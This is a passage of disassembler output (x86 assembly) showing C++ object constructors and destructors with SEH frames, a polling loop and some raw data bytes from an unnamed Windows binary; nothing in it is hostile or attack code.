var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_4017DAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AD0	proc near		; CODE XREF: sub_401B3Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417AD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B40	proc near		; CODE XREF: sub_401F46j
		add	ecx, 4
		jmp	sub_401023
sub_417B40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BE0	proc near		; CODE XREF: sub_401E06j
		add	ecx, 4
		jmp	sub_401023
sub_417BE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C00	proc near		; CODE XREF: sub_402013j
		add	ecx, 4
		jmp	sub_401023
sub_417C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_401F00j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417CC0	proc near		; CODE XREF: sub_401587j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417CC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D60	proc near		; CODE XREF: sub_40164Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E30	proc near		; CODE XREF: sub_401780j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401753
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EF0	proc near		; CODE XREF: sub_40182Fj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F050
		mov	eax, esi
		pop	esi
		retn
sub_417EF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F20	proc near		; CODE XREF: sub_4016BDj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F05C
		mov	eax, esi
		pop	esi
		retn
sub_417F20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F50	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180D0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4180D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4180D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418150	proc near		; CODE XREF: sub_401D25j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	off_43F090
		mov	eax, esi
		pop	esi
		retn
sub_418150	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418180
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418200	proc near		; CODE XREF: sub_401A91j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418200	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418280	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F09C
		mov	eax, esi
		pop	esi
		retn
sub_418280	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182B0	proc near		; CODE XREF: sub_401CB7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4182B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4182B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_40157Dj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A4
		mov	eax, esi
		pop	esi
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418360	proc near		; CODE XREF: sub_401799j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A8
		mov	eax, esi
		pop	esi
		retn
sub_418360	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418390	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418390	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418430	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_5118D8
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418448:				; CODE XREF: sub_418430+E4j
		test	bl, bl
		jnz	loc_41851E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41845E
		mov	bl, 1
		jmp	short loc_418472
; ---------------------------------------------------------------------------


loc_41845E:				; CODE XREF: sub_418430+28j
		lea	ecx, [esi+15Fh]
		call	sub_40186B
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418479


loc_418472:				; CODE XREF: sub_418430+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418479:				; CODE XREF: sub_418430+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4020A4
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F69
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jz	short loc_4184FE


loc_4184B4:				; CODE XREF: sub_418430+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	ecx, [eax]
		call	sub_40174E
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4184DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4184DB:				; CODE XREF: sub_418430+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jnz	short loc_4184B4


loc_4184FE:				; CODE XREF: sub_418430+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418448
		test	bl, bl
		jz	short loc_41852B


loc_41851E:				; CODE XREF: sub_418430+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41852B:				; CODE XREF: sub_418430+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418430	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418590	proc near		; CODE XREF: sub_401771j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418590
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E8E9B
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4185D0
		push	eax
		jmp	short loc_4185D5
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_418590+3Bj
		push	offset byte_448F30


loc_4185D5:				; CODE XREF: sub_418590+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015E1
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4185EE
		push	edi
		jmp	short loc_4185F3
; ---------------------------------------------------------------------------


loc_4185EE:				; CODE XREF: sub_418590+59j
		push	offset byte_448F30


loc_4185F3:				; CODE XREF: sub_418590+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015E1
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418590	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE936BE8h
		dd 244C8DFFh, 2685128h,	0E8000002h, 7169E021h, 8E92E890h
		dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
		dd 68005118h, 3E8h, 0CF8BD3FFh,	0FE8BB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
		dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
		dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h
		dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
dword_418750	dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
		dd 8F2478Eh, 8C5CE800h,	8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
		dd 9FA138Eh, 8F50E800h,	8E8DFFFEh, 8F3A2h, 0FE9A49E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
		dd 9FC428Eh, 97A7E800h,	0CF8BFFFEh, 0FE886EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
		dd 9FAD38Eh, 9720E800h,	8E8DFFFEh, 9FB93h, 0FE916BE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
		dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
		dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h,	69BBE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418940:				; CODE XREF: ___:00402225j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418960:				; CODE XREF: ___:00401EE2j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401771
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418990	proc near		; CODE XREF: sub_401B1Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021DF
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40162C
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401438
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402103
sub_418990	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A00	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418A00	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A40	proc near		; CODE XREF: sub_4021FDj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40207C
sub_418A40	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401F69j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D98
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AF0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_418AF0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		pop	esi
		add	esp, 0Ch
		retn
sub_418B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B70	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		call	sub_401532
		mov	eax, esi
		pop	esi
		retn
sub_418B70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



